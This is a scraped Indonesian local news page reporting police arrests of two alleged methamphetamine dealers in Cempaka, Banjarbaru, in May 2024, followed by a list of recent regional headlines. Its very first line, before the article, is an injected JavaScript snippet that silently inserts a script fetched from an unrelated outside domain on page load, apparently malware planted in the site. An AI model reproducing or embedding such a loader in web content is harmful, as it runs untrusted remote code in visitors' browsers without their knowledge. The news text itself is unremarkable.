(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Tangkap Dua Lelaki di Cempaka, Polsek Banjarbaru Utara Dapati 18 Gram Sabu


KANALKALIMANTAN.COM, BANJARBARU – Dua lelaki diduga pengedar narkotika di Jalan Trans Cempaka, Perumahan Gunung Sari Cempaka RT 36, Kecamatan Cempaka, Kota Banjarbaru, dibekuk polisi.

Adalah DW (46) dan AP (50) ditangkap oleh anggota unit Opsnal Polsek Banjarbaru Utara yang sedang berpatroli Operasi Antik Intan 2024, Kamis (23/5/2024) sekitar pukul 23.45 Wita.

Penangkapan diungkap Kapolsek Banjarbaru Utara, Kompol Yopie Andri Haryono, Selasa (4/6/2024), mengatakan, bermula saat DW digeledah polisi kepadatan membawa paket kecil sabu.

Baca juga: Rudapaksa Anak Sendiri, ‘Aksi’ Ayah di Banjarmasin Kepergok Istri

“DW ditangkap hari Kamis di depan hotel Lerina Inn Kelurahan Kemuning, kemudian diamankan bersama barbuk awal yang diakuinya membeli dari seseorang bernama AP di daerah Cempaka,” ujar Kompol Yopie Andri Haryono, Selasa (4/6/2024) siang.

Dari pengakuan DW yang sebelumnya, polisi memastikan AP berada di dalam rumah.

Mengetahui informasi tersebut, anggota unit Opsnal Polsek Banjarbaru Utara yang dipimpin Panit 2 Opsnal Polsek Banjarbaru Utara Aiptu Sugeng Gunawan menuju rumah AP.

Baca juga: Kakek Asyikin Meninggal Terkepung Api, 7 Bangunan Hangus di Pasar Lama Banjarmasin

“Anggota kami mencoba mengetuk pintu rumah pelaku dan dibukakan oleh pelaku AP, langsung ditangkap oleh anggota,” lanjutnya.

Setelah menangkap AP, petugas kemudian menggeledah rumah tersangka yang disaksikan oleh Ketua RT setempat.

Petugas kepolisian menemukan paket diduga narkotika jenis sabu di dalam kotak kacamata yang disimpan dalam lemari milik AP.

Baca juga: Operasi Antik Intan Polres Banjarmasin Sita 6,7 Kg Sabu dan Dua Ribu Ekstasi

Narkotika jenis sabu yang ditemukan sebanyak 20,14 gram, sementara berat bersih narkotika 18,82 gram.

Kedua tersangka adalah pelaku peredaran gelap dan penyalahgunaan narkotika jenis sabu. Dari kasus ini kedua tersangka dikenakan ancaman tindak pidana peredaran gelap dan penyalahgunaan narkotika golongan 1 jenis sabu, sesuai dengan Pasal 114 ayat (1) dan atau Psl 112 ayat (1) UU RI Nomor 35 Tahun 2009 Tentang Narkotika. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Muhammad Andi

Recent Posts

Wabup Dodo Cek Harga Bahan Pokok di Pasar Besar Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo turun langsung ke pasar besar Kuala Kapuas… Read More

2 jam ago

Enam Pj Kades di Kecamatan Mantangai Dilantik

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 Penjabat (Pj) Kepala Desa… Read More

2 jam ago

Matangkan Layanan MPP, Pemkab Kapuas Gelar Forum Konsultasi Publik

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar forum konsultasi publik penyelenggaraan Mal Pelayanan Publik… Read More

3 jam ago

Bupati Kapuas Melantik 33 Pj Kades dan Enam Anggota BPD

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 orang Penjabat (Pj) Kepala… Read More

4 jam ago

Rencana Aksi Bersama Pengendalian Banjir Kawasan Banua Enam

Gubernur Kalsel: Percuma Rencana Kalau Tidak Dilakukan Read More

4 jam ago

Pemkab Banjar Raih Penghargaan dari MenPANRB

KANALKALIMANTAN.COM, JAKARTA – Keberhasilan Pemerintah Kabupaten Banjar dalam upaya mewujudkan tata kelola pemerintahan yang bersih… Read More

4 jam ago

This website uses cookies.